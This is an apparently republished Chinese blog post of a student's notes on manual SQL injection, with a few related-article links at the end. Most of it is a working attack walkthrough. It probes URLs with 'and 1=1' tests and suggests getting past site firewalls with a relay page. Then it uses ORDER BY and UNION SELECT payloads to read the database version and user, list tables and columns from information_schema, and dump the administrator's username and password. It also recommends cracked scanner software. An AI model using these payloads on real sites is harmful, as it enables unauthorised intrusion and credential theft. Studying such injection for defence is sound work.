sql注入学习经验

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入学习经验相关的知识,希望对你有一定的参考价值。

本人是一名渗透新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web渗透之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了渗透的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见!

   今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验。

   sql注入的方法(get参数)

    复杂了没用其实就两种,工具注入与手工注入

   (一)选择网站是否能进行sql注入(一般使用火狐浏览器比较好——方便)

    (1)先查看URL页面为http://xxx.com/xxx/id=23 这样的页面或者为伪静态的url也可进行注入。       ·

    (2)在url后输入 

         and 1=1返回页面正常

         and 1=2返回页面错误

        

         or 1=1返回页面错误

         or 1=2返回页面正常

         这样的网站就有注入漏洞

现在的网站基本都有网站防火墙(带有防sql注入功能)这时可用‘工具注入中转生成器’来重新生成一个页面(注意打开这个页面要用iis或小旋风),这样就可以绕过网站安全狗了。

然后在新生成页面进行操作。

         and 1=1返回页面正常

         and 1=2返回页面错误

        

         or 1=1返回页面错误

         or 1=2返回页面正常

这样就可以进行下一步了。

   (一)个人经验一般应先进行目录的扫描,为什么呢?

    因为先应该找到网站后台的登录界面,如果连登陆界面都无法找到,就算知道了管理员的用户 名密码又有什么用呢。

    可以手工查找,就是猜名称,一般为admin|login|user等asp、php、aspx、jsp后缀的,这种方 法有点傻,一般用工具进行网站遍历。

    扫描工具:工具在附件里都有。我一般先使用御剑的扫描工具,但御剑的岁数毕竟不小了,也 没有后续的更新,所以有些网站目录是无法遍历出来的,这是只能用一些牛逼的工具了。工具burpsuite(都说是渗透神器,我也一直在用,功能挺强大的,可以进行网站爬行与网站目录的遍历)还有就是Acunetix Web Vulnerability Scanner这款软件也是非常强大的,现在出到10了,网上破解版。具体使用教程请自行百度。

   (二)进行注入

         可用工具啊D、明小子、pangolin穿山甲、sqlmap等工具进行注入,今天主要讲解手工注入。

         手工注入:

      1、order by 1.....100判断表数

         若页面返回正常则说明这个数字小于表数,依次递加,最好取中进行测试节省时间,最后一个           正确的为表数,如20正常,21不正常,则表数为20

      2、   http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT                                    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

         显示3,7数字

      3、   将3或7替换为database()、version()、user()、@@version——compile_os

            报基本信息  (1)database():数据库名-------abc

                (2)version():数据库版本--------5.1.63-community

                (3)user():数据库用户[email protected]

                 (4)@@version——compile_os:操作系统--------win32

      4、表名查询   http://xxx/xxx.php?id=23 and 1=2 UNION SELECT                            1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20from                information_schema.tables where table_schema=0x616263(此处为数据库名,可用小葵          转换工具转换为Hex值)

         查询结果为:wz_jj_admin,wz_jj_article,wz_jj_attachment,wz_jj_class,wz_jj_en_admin,wz_jj_en_article,wz_jj_en_attachment,wz_jj_en_class,wz_jj_en_key,wz_jj_en_links,wz_jj_en_message,wz_jj_key,wz_jj_links,wz_jj_message 

      5、分析表wz_jj_admin 查找表的列名

         http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT                            1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E

        结果为:uid , ad_username,ad_password,ad_power,ad_intro

      6、查找用户名,密码http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(ad_username,0x5c,ad_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from wz_jj_admin

      7、结果为:admin  admin888 这样就成功了

这只是简单的sql注入,后续的参数注入有post注入、cookie注入,请耐心等待!

以上是关于sql注入学习经验的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入经验-大负荷注入

SQL注入学习笔记

sql注入学习基于布尔 SQL 盲注

SQL注入学习整理

SQL注入学习总结:其他SQL注入的异或注入

SQL 注入(SQL Injection)学习心得